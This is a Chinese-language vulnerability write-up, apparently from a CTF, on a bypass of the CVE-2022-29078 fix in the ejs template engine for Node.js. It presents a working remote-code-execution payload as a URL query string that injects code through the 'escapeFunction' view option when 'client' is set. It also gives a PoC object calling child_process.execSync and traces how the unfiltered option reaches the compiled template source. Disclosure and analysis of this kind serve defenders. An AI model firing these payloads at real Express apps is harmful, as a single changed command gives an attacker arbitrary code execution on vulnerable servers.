ejs RCE CVE-2022-29078 bypass

ejs RCE CVE-2022-29078 bypass

打某ctf ,挖了个 CVE-2022-29078 的绕过,给非预期了

影响版本

ejs <= v3.1.9 (最新版本)

demo 环境

这里用 express 起,在调用 resp.render() 的时候,第二个参数可控(比如说是个 req.query

1
2
3
app.get("/test",function (req,resp){
return resp.render("test",req.query);
})

模板渲染完成之后默认会 cache ,需要在 cache 之前注入代码,这里为了方便,把 cache 关了

1
app.set('view cache', false);

poc & payload

payload :

1
?settings[view%20options][escapeFunction]=console.log;this.global.process.mainModule.require(%27child_process%27).execSync("touch /tmp/3.txt");&settings[view%20options][client]=true

poc :

1
2
3
4
5
6
7
8
9
10
11
12
o = {
"settings":{
"view options":{
"escapeFunction":'console.log;this.global.process.mainModule.require("child_process").execSync("touch /tmp/pwned");',
"client":"true"
}
}
}

app.get("/test",function (req,resp){
return resp.render("test",o);
})

漏洞分析

这个漏洞是对 https://eslam.io/posts/ejs-server-side-template-injection-rce/ (CVE-2022-29078)修复的绕过

发送 payload 之后,触发了 template 的 render ,来到 node_modules/ejs/lib/ejs.jsrenderFile() 中,此时 datareq.queryopts 是 render 的选项,并调用了 utils.shallowCopy(opts, viewOpts); ,用 req.query.settings.view optionsopts 中的覆盖了:

随后 opts 流到了 compile() 当中,opts 中的一些选项会被直接拼接进 src 里面,但是 CVE-2022-29078 之后,opts.outputFunctionNameopts.localsNameopts.destructuredLocals 想要拼接进 src 的话要通过 正则的 白名单处理:

但是,还是有元素没有被正则过滤,这就是 opts.escapeFunction

也就是说,当 opts.client 不为空的情况下,opts.escapeFunction 的值就能直接拼接到 src 当中,从而实现任意代码执行。运行 payload 之后,得到的 src 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
rethrow = rethrow || function rethrow(err, str, flnm, lineno, esc) {
var lines = str.split('\n');
var start = Math.max(lineno - 3, 0);
var end = Math.min(lines.length, lineno + 3);
var filename = esc(flnm);
// Error context
var context = lines.slice(start, end).map(function (line, i){
var curr = i + start + 1;
return (curr == lineno ? ' >> ' : ' ')
+ curr
+ '| '
+ line;
}).join('\n');

// Alter exception message
err.path = filename;
err.message = (filename || 'ejs') + ':'
+ lineno + '\n'
+ context + '\n\n'
+ err.message;

throw err;
};
escapeFn = escapeFn || console.log;this.global.process.mainModule.require('child_process').execSync("calc.exe");;
var __line = 1
, __lines = "<!DOCTYPE html>\r\n<html>\r\n<body>\r\n<h1><%= name %></h1>\r\n\r\n</body>\r\n</html>\r\n"
, __filename = "D:\\var\\www\\ejstest\\views\\test.ejs";
try {
var __output = "";
function __append(s) { if (s !== undefined && s !== null) __output += s }
with (locals || {}) {
; __append("<!DOCTYPE html>\r\n<html>\r\n<body>\r\n<h1>")
; __line = 4
; __append(escapeFn( name ))
; __append("</h1>\r\n\r\n</body>\r\n</html>\r\n")
; __line = 8
}
return __output;
} catch (e) {
rethrow(e, __lines, __filename, __line, escapeFn);
}

//# sourceURL="D:\\var\\www\\ejstest\\views\\test.ejs"